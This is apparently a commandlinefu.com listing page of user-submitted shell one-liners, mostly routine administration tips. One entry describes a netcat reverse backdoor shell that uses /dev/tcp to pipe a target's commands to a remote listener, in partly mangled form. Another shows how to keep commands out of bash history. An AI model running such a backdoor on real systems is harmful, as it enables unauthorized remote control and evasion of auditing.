All commands (14,187)

What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.

Share Your Commands


Check These Out

Print a list of standard error codes and descriptions.
Written by jmcnamara Taken from http://www.perlmonks.org/?node_id=274896

Do a command but skip recording it in the bash command history
Note the extra space before the command (I had to put it as an underscore since the website eats up preceding spaces). That's all it takes. Now if you check your history with "$ history", it wont show up.

Reverse Backdoor Command Shell using Netcat
This is sneaky. First, start a listening service on your box. $ nc -l 8080 -vvv & On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor. $ exec 5/dev/tcp//8080;cat &5 >&5; done You can send it to the background like this: $ (exec 5/dev/tcp//8080;cat &5 >&5;) & Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client.

Find files that are older than x days
Find files that are older than x days in the working directory and list them. This will recurse all the sub-directories inside the working directory. By changing the value for -mtime, you can adjust the time and by replacing the ls command with, say, rm, you can remove those files if you wish to.

Which processes are listening on a specific port (e.g. port 80)
swap out "80" for your port of interest. Can use port number or named ports e.g. "http"

Remove all hidden files in a directory
Remove all hidden files in a directory excluding current dir . and parent dir .. with .??* that means files with at least two characters.

archive all files containing local changes (svn)
Create a tgz archive of all the files containing local changes relative to a subversion repository. Add the '-q' option to only include files under version control: $svn st -q | cut -c 8- | sed 's/^/\"/;s/$/\"/' | xargs tar -czvf ../backup.tgz Useful if you are not able to commit yet but want to create a quick backup of your work. Of course if you find yourself needing this it's probably a sign you should be using a branch, patches or distributed version control (git, mercurial, etc..)

ignore .DS_Store forever in GIT
With a couple of little commands, you?ll be able to ignore the .DS_Store files forever from your git repositories on mac! The following command will add the .gitignore file to the git configuration git config --global core.excludesfile ~/.gitignore then, the following, will add the .DS_Store to the list echo .DS_Store >> ~/.gitignore

Check if variable is a number

Show a Package Version on RPM based distributions
if you want to see all information about a package use: rpm -qi pkgname full list of querytags can be accessed by the command: rpm --querytags you can also customize the query format how ever you like with using more querytags together along with escape sequences in "man printf"! you can also use more than one package name. for example this command shows name and version in to columns: rpm -q --queryformat %-30{NAME}%{VERSION}\\n pkg1 pkg2


Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for: